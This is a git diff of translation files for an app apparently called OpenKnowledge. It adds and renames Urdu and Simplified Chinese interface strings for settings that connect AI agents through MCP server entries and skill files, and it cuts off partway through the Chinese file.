+9032,7 @@ msgstr "سائیڈ بار میں نہیں"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "نصب نہیں"@@ -9065,15 +9165,15 @@ msgstr "<0>{address}</0> میں منتخب متن پر"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "روٹ انڈیکس پر، okf_version کو \"0.2\" کی طرح کوٹڈ سٹرنگ کے طور پر لکھا جاتا ہے۔ بغیر حوالہ، YAML اسے ایک نمبر کے طور پر پڑھتا ہے اور 0.10 خاموشی سے 0.1 بن جاتا ہے۔"-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "ایک اور مرحلہ: اسے Cursor ← ترتیبات ← ٹولز اور MCP میں فعال کریں (Cursor پروجیکٹ کے سرورز اس وقت تک بند رکھتا ہے جب تک آپ انہیں فعال نہ کریں)۔"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "ایک اور مرحلہ: اسے {agent} ← ترتیبات ← ٹولز اور MCP میں فعال کریں ({agent} پروجیکٹ کے سرورز اس وقت تک بند رکھتا ہے جب تک آپ انہیں فعال نہ کریں)۔"-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "ایک اور مرحلہ: اس پروجیکٹ میں <0>claude</0> چلائیں اور ایک بار OpenKnowledge کو منظور کریں۔"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "ایک اور مرحلہ: اس پروجیکٹ میں {agent} چلائیں اور ایک بار OpenKnowledge کو منظور کریں۔"#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "پہلے کوئی پروجیکٹ کھولیں۔"msgid "Open a project to edit."msgstr "ترمیم کے لیے کوئی پروجیکٹ کھولیں۔"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "کسی پروجیکٹ کے AI ٹول کنکشنز سنبھالنے کے لیے اسے کھولیں۔"-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "ایک اکیلی Markdown فائل کھولیں — پروجیکٹ کی ترتیب کے بغیر۔"@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge نے تنازعات کی جانچ کی"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge نے پروجیکٹ کی جانچ کی"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge کو اس مشین پر یہ ایجنٹ نہیں ملا۔"+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge .ok/local/config.yml میں terminal.shell نہیں پڑھ سکا۔ اس کے بجائے دستیاب Windows شیل استعمال کیا جا رہا ہے۔"@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge نے {subject} حذف کیا"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge نے ایک دستاویز حذف کی"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge دریافت اسکل"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge اس اندراج کو نہیں پہچانتا، اور اس فائل کی فارمیٹ میں اسے محفوظ طریقے سے تبدیل نہیں کر سکتا۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge اس اندراج کو نہیں پہچانتا۔ اسے آن کرنے پر یہ تبدیل ہو جائے گا۔"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge نے {subject} میں ترمیم کی"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge وہ GitHub اکاؤنٹ استعمال کر رہا ہےmsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge یہی GitHub اکاؤنٹ استعمال کر رہا ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge نے اس فائل کو تبدیل نہیں کیا کیونکہ وہ اسے محفوظ طریقے سے پارس نہیں کر سکا۔ فائل کو خود درست کریں، پھر دوبارہ کوشش کریں۔"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge نے انسٹال شدہ اسکلز کی فہرست دی"@@ -10289,10 +10405,6 @@ msgstr "پروجیکٹ"msgid "Project"msgstr "پروجیکٹ"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "پروجیکٹ کے AI ٹولز کا انتظام صرف OpenKnowledge ڈیسک ٹاپ ایپ میں دستیاب ہے۔"-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "پروجیکٹ کی تفصیلات"@@ -10301,6 +10413,10 @@ msgstr "پروجیکٹ کی تفصیلات"msgid "Project folder created, but git init failed. Try again."msgstr "پروجیکٹ کا فولڈر بن گیا، مگر git init ناکام رہا۔ دوبارہ کوشش کریں۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "پروجیکٹ MCP سرور"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "پروجیکٹ کا نام"@@ -10314,6 +10430,10 @@ msgstr "پروجیکٹ کے پلگ اِنز آپ کے پروجیکٹ کا تصنmsgid "Project root"msgstr "پروجیکٹ کی جڑ"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "پروجیکٹ اسکل"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "پروجیکٹ کے ٹیمپلیٹس"@@ -10468,6 +10588,21 @@ msgstr "{pushed} بھیجا گیا"msgid "Pushing"msgstr "پُش کیا جا رہا ہے"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "{agent} کے مشین بھر کے اسکل فولڈر میں OpenKnowledge دریافت اسکل رکھتا ہے، تاکہ وہ کسی بھی پروجیکٹ میں OpenKnowledge تلاش کر سکے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "اس پروجیکٹ کے لیے {agent} کے اسکل فولڈر میں OpenKnowledge اسکل رکھتا ہے، تاکہ اس کی ترامیم کا انتساب برقرار رہے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "{agent} جو مرکزی اسکل اسٹور پڑھتا ہے اس میں OpenKnowledge اسکل رکھتا ہے۔"+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "پہیلی سلجھائی جا رہی ہے…"@@ -10586,6 +10721,10 @@ msgstr "حالیہ پروجیکٹ"msgid "Recently opened"msgstr "حال ہی میں کھولے گئے"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "تجویز کردہ"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "تجویز کردہ ایجنٹ کی مہارت"@@ -10721,6 +10860,8 @@ msgstr "ریموٹ کنٹرول"msgid "Remote skill source"msgstr "ریموٹ مہارت کا ماخذ"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "{patternText} ہٹائیں"msgid "Remove {projectName} from recent projects"msgstr "{projectName} کو حالیہ پروجیکٹس سے ہٹائیں"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "{rowLabel} ہٹائیں"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "{tag} ہٹائیں"@@ -10773,6 +10918,10 @@ msgstr "ہٹانا ناکام: {error}"msgid "Remove field {field}"msgstr "فیلڈ {field} ہٹائیں"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "دونوں کے لیے ہٹائیں"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "لنک ہٹائیں"msgid "Remove OpenKnowledge from {0}"msgstr "OpenKnowledge کو {0} سے ہٹائیں"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "{0} سے OpenKnowledge ہٹائیں؟"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "OpenKnowledge ہٹائیں؟"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "خصوصیت ہٹائیں"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "«{docName}» کو نئی مقامی اشتراکی کیشے کے ساتھ دوبارہ کھولا جا رہا ہے۔"#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "{names} کا MCP انٹیگریشن درست کر دیا گیا"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "{keyName} تبدیل کریں"msgid "Replace all matches"msgstr "تمام مماثلتیں تبدیل کریں"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "بدلیں اور محفوظ کریں"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "موجودہ مماثلت تبدیل کریں"@@ -10983,6 +11145,10 @@ msgstr "کیا ان نقول کو ماخذ کے سِم لنکس سے بدل دیmsgid "Replace these symlinks with independent copies?"msgstr "کیا ان سِم لنکس کو خودمختار نقول سے بدل دیا جائے؟"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "اس فائل میں موجود \"open-knowledge\" اندراج کو تبدیل کرتا ہے۔ فائل کے دیگر سرورز میں کوئی تبدیلی نہیں ہوتی۔"+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "حاصل کیا جا رہا ہے…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "دوبارہ کوشش کریں"@@ -11379,6 +11545,7 @@ msgstr "سینڈ باکسڈ HTML ایمبیڈ — HTML لکھیں، رینڈرmsgid "Save"msgstr "محفوظ کریں"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "تبدیلیاں محفوظ کریں"@@ -11429,6 +11596,7 @@ msgstr "آپ کی ٹیم کے لیے پروجیکٹ کے ساتھ محفوظ۔"msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "فائل کو <0>~/Downloads/openknowledge.skill</0> میں محفوظ کرتا ہے اور Claude Desktop App کھولتا ہے۔ آپ کے PATH میں Node.js یا Bun درکار ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "محفوظ کیا جا رہا ہے"@@ -11482,7 +11650,7 @@ msgstr "«{semanticSubmitQuery}» کو معنی کے لحاظ سے تلاش کرmsgid "Search ({searchShortcutLabel})"msgstr "تلاش ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "ایجنٹس تلاش کریں"@@ -12066,8 +12234,7 @@ msgstr "{0} مزید دکھائیں"msgid "Show {hidden} more"msgstr "{hidden} مزید دکھائیں"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "{hiddenCount} مزید دکھائیں"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "ایکسپلورر میں دکھائیں"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "کم دکھائیں"@@ -12341,11 +12507,6 @@ msgstr "{0}/{1} سے مہارتیں۔"msgid "Skills from OpenKnowledge"msgstr "OpenKnowledge کی مہارتیں"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "مہارتیں مہارت اسٹوڈیو میں منتقل ہو گئیں۔"-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "مہارتیں دوبارہ تفویض ہوئیں"@@ -12501,6 +12662,7 @@ msgstr "آپ کی رائے بھیجتے ہوئے کچھ غلط ہو گیا۔ بmsgid "Something went wrong starting the terminal."msgstr "ٹرمینل شروع کرتے ہوئے کچھ غلط ہو گیا۔"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "کچھ غلط ہو گیا۔ براہِ کرم دوبارہ کوشش کریں۔"@@ -13074,7 +13236,6 @@ msgstr "ٹیمپلیٹس"msgid "Templates available"msgstr "دستیاب ٹیمپلیٹس"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "دستیاب ٹیمپلیٹس"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "{0} کی ڈاؤن لوڈ درخواست کا وقت ختم ہو گیا۔msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} پلگ اِن یہ مہارتیں اپنے کیش سے فراہم کرتا ہے — OK انہیں کبھی ترمیم یا اپڈیٹ نہیں کرتا۔"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} ڈیسک ٹاپ ایپ اس پروجیکٹ کنفیگ کو نظر انداز کرتی ہے؛ اسے صرف {agent} CLI پڑھتا ہے۔"+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} فولڈر میں اس مہارت کا ایک مختلف ورژن ہے۔ منتخب کریں کہ کون سا غالب رہے، یا دونوں کو مختلف ناموں سے رکھیں۔ آپ جو بھی بدلیں گے اس کا پہلے بیک اپ لے لیا جاتا ہے۔"@@ -13452,6 +13617,14 @@ msgstr "ماخذ فولڈر خود نہیں ہلتا۔"msgid "The template's filename (without `.md`)."msgstr "ٹیمپلیٹ کی فائل کا نام (`.md` کے بغیر)۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label} کی ٹرمینل اور ڈیسک ٹاپ قطاریں ایک ہی ترتیب استعمال کرتی ہیں، اس لیے کسی ایک کو منسلک کرنے سے دونوں منسلک ہو جاتی ہیں۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label} کی ٹرمینل اور ڈیسک ٹاپ قطاریں ایک ہی ترتیب استعمال کرتی ہیں، اس لیے اسے ہٹانے سے دونوں کا رابطہ منقطع ہو جائے گا۔"+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "اس پروجیکٹ کے لیے ٹرمینل بند ہے۔ یہاں کمانڈز چلانے کے لیے اسے دوبارہ فعال کریں۔"@@ -13608,6 +13781,14 @@ msgstr "یہ ایجنٹ سلیش کمانڈ پیش نہیں کرتا"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "یہ ایجنٹ سلیش کمانڈ پیش نہیں کرتا — آپ کا پیغام سادہ متن کے طور پر بھیجا جائے گا"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "یہ ایجنٹ OpenKnowledge کو آپ کی جانب سے یہ ترتیب دینے کا کوئی طریقہ نہیں دیتا۔ اس کی سیٹ اپ گائیڈ میں دستی مراحل موجود ہیں۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "اس مشین پر اس ایجنٹ کی اس قسم کی کوئی فائل ابھی موجود نہیں۔ ایجنٹ کو ایک بار کھولیں، پھر دوبارہ جانچیں۔"+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "اس ایجنٹ نے ابھی تک اپنی کمانڈز کا اعلان نہیں کیا"@@ -13651,6 +13832,14 @@ msgstr "یہ تبصرہ پوری خصوصیت پر ہے"msgid "This conflict is resolved."msgstr "یہ تنازع حل ہو گیا ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "اسے سیٹ اپ نہیں کیا جا سکا کیونکہ اس کے لیے درکار MCP سرور اندراج نہیں لکھا گیا۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "یہ ذیل میں درج MCP سرور اندراجات اور اسکل فائلیں حذف کر دیتا ہے۔ دوبارہ شامل کرنے تک ایجنٹ آپ کی دستاویزات تک رسائی کھو دے گا۔"+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "یہ دستاویز"@@ -13683,6 +13872,10 @@ msgstr "یہ دستاویز حذف کر دی گئی تھی"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "اس اینڈ پوائنٹ نے آپ کا مقرر کردہ ویکٹر حجم نظر انداز کر دیا۔ ماڈل کا اپنا حجم استعمال کرنے کے لیے <0>search.semantic.dimensions</0> ہٹا دیں۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge کے لکھنے کے بعد یہ اندراج تبدیل ہو گیا۔ اسے آن کرنے سے یہ بدل جائے گا۔"+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "اس فیلڈ میں اسکیما کے اضافی کلیدی الفاظ ہیں جو ایڈیٹر نہیں دکھاتا — محفوظ کرتے وقت وہ برقرار رہتے ہیں۔"@@ -13735,6 +13928,10 @@ msgstr "یہ فولڈر {actualOwner}/{actualRepo} کا کلون ہے، {expectemsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "یہ فولڈر {actualHost} پر موجود {expectedOwner}/{expectedRepo} کا کلون ہے، {expectedHost} کا نہیں۔ {expectedHost} سے کلون کیا گیا کوئی فولڈر منتخب کریں؟"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "یہ فولڈر {alsoAffects} کا بھی ہے۔"+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "یہ فولڈر خالی ہے۔"@@ -13793,6 +13990,7 @@ msgstr "یہ آئٹم"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "یہ کسی ڈرائیو کی جڑ لگتی ہے (مثلاً C:\\)۔ یہاں ڈھانچہ بنانا پوری ڈرائیو اسکین کرے گا۔"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "اس کو آپ کی فائلوں کو دیکھنے کی ضرورت ہےmsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "یہ آپ کے AI ٹولز کو OpenKnowledge کے ساتھ کام کرنا سکھاتی ہے۔ یہ پروجیکٹ فولڈر میں رہتی ہے، اس لیے یہ ہر اس شخص کے لیے نصب ہوتی ہے جو پروجیکٹ کھولتا ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "یہ آپشن خودکار طور پر تبدیل نہیں کیا جا سکتا۔"+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "یہ پیک یہاں پہلے سے ترتیب دیا جا چکا ہے۔"@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "یہ {path} کو مستقل طور پر ہٹا دیتا ہے۔ جو ایجنٹس اس ٹیمپلیٹ کا نام سے حوالہ دیتے ہیں وہ اس کے دوبارہ بننے یا کسی والد فولڈر کے ٹیمپلیٹ سے بدلنے تک ناکام رہیں گے۔"#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "اس پروجیکٹ کا چلتا ہوا سرور براہِ راست تmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "اس پروجیکٹ کا سرور (v{0}) اس ایپ (v{1}) سے نیا ہے۔"-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "اس پروجیکٹ کی مہارت مہارت اسٹوڈیو میں منتقل ہو گئی۔"-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "یہ OpenKnowledge کی ترتیبات اور انضمامات کو آپ کے Mac اور نیچے منتخب کیے گئے پروجیکٹس سے ہٹا دیتا ہے، مگر آپ کا Markdown مواد اور لکھی گئی مہارتیں برقرار رکھتا ہے۔"@@ -13963,6 +14161,18 @@ msgstr "یہ ترتیب ہر مشین کے لیے الگ ہے اور ساتھیmsgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "یہ ترتیب ہر مشین کے لیے الگ ہے اور ساتھیوں کے ساتھ مشترک نہیں ہوتی۔ اسے ایک API کلید درکار ہے (نیچے مقرر کریں) الّا یہ کہ آپ کا اینڈ پوائنٹ کوئی مقامی سرور ہو جسے اس کی ضرورت نہ ہو۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "یہ سیٹ اپ <0>{path}</0> کے ذریعے {peers} کے ساتھ مشترک ہے۔ اسے یہاں ہٹانے سے یہ {peers} کے لیے بھی ہٹ جاتا ہے۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "یہ سیٹ اپ {peers} کے ساتھ مشترک ہے، اور OpenKnowledge اسے یہاں سے تبدیل نہیں کر سکتا۔ پہلے Skills Studio میں فولڈر کو ان لنک کریں۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "یہ سیٹ اپ {peers} کے ساتھ مشترک ہے۔ اسے یہاں ہٹانے سے یہ {peers} کے لیے بھی ہٹ جاتا ہے۔"+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "یہ ماخذ کئی مہارتیں سمیٹے ہوئے ہے — ایک منتخب کریں، پھر درآمد کریں۔"@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "دستاویز ڈھونڈنے کے لیے لکھیں"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "اس پلیٹ فارم پر دستیاب نہیں"@@ -14917,8 +15126,7 @@ msgstr "AI کو کیا کرنا چاہیے؟ (اختیاری)"msgid "What the agent may read, write, and surface."msgstr "ایجنٹ کیا پڑھ، لکھ اور ظاہر کر سکتا ہے۔"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "یہ چیک باکس کیا بدلتا ہے"@@ -14994,6 +15202,10 @@ msgstr "آپ کون ہیں، تاکہ ایجنٹ کو آپ کا سیاق معلmsgid "Whole word"msgstr "پورا لفظ"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "اس پر توجہ کیوں درکار ہے"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "وکی لنک"@@ -15031,6 +15243,10 @@ msgstr "ونڈو"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "منسلک AI ٹول کے بغیر پیک کی {packSkillCount, plural, one {# مہارت} other {# مہارتیں}} انسٹال نہیں ہوں گی۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "اسکل کے بغیر ایجنٹ پھر بھی کام کرتا ہے، لیکن وہ ترامیم کا انتساب اور براہِ راست پیش منظر کھو دیتا ہے۔"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "الفاظ کی لپیٹ"@@ -15078,6 +15294,11 @@ msgstr "ورک ٹریز"msgid "Wrap long lines in the markdown source editor."msgstr "Markdown سورس ایڈیٹر میں لمبی سطریں لپیٹیں۔"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "ایک چھوٹی برج فائل لکھتا ہے جسے {agent} اس پروجیکٹ سے لوڈ کر کے OpenKnowledge تک پہنچتا ہے۔"+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "اس میں ایک اندراج لکھتا ہے"@@ -15086,6 +15307,10 @@ msgstr "اس میں ایک اندراج لکھتا ہے"msgid "writing"msgstr "لکھائی"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "یہ فائل لکھنے میں ناکامی ہوئی۔ وجہ جاننے کے لیے OpenKnowledge لاگ دیکھیں۔"+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Open Knowledge ایکسٹینشن لکھ دی گئی، لیکن فولڈر کو قابلِ اعتماد نشان زد نہیں کیا جا سکا، اس لیے یہ لوڈ نہیں ہوگی۔ اس تھریڈ میں Open Knowledge ٹولز نہیں ہیں۔"@@ -15233,6 +15458,10 @@ msgstr "برانچ <0>{shareBranch}</0> کی آپ کی نقل میں ایسی تmsgid "Your current version is saved first, so this is reversible."msgstr "آپ کا موجودہ ورژن پہلے محفوظ ہو جاتا ہے، اس لیے یہ واپس لیا جا سکتا ہے۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "آپ کی دستاویزات میں کوئی تبدیلی نہیں کی جائے گی۔"+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/zh-Hans/messages.json b/packages/app/src/locales/zh-Hans/messages.jsonindex 08a66e637..80c0bd660 100644--- a/packages/app/src/locales/zh-Hans/messages.json+++ b/packages/app/src/locales/zh-Hans/messages.json@@ -55,7 +55,6 @@"03wKPg": ["报告能帮我们找到原因。在你确认之前不会发送任何内容。"],"04JR6L": ["连接你的 AI 工具"],"04RA0-": ["开启同步失败——", ["detail"]],- "04XyCH": ["添加一个受管理的块到 ", ["0"]],"05F1GY": ["原始文本已被删除。你可以将此评论重新定位到选中的文本上。"],"05n5wS": ["文档提及建议"],"06SZfb": ["已创建模板“", ["trimmedTitle"], "”"],@@ -143,6 +142,7 @@"1DahsC": ["搜索设置"],"1EcCom": [["keyName"], " 的值"],"1FLarN": ["请先描述你想创建的内容再继续"],+ "1FXL-O": ["无法完成设置,因为它所需的 MCP 服务器条目未写入。"],"1GhYxC": ["共 ", ["totalPages"]],"1HBhDS": ["正在检出文件"],"1J0c0X": 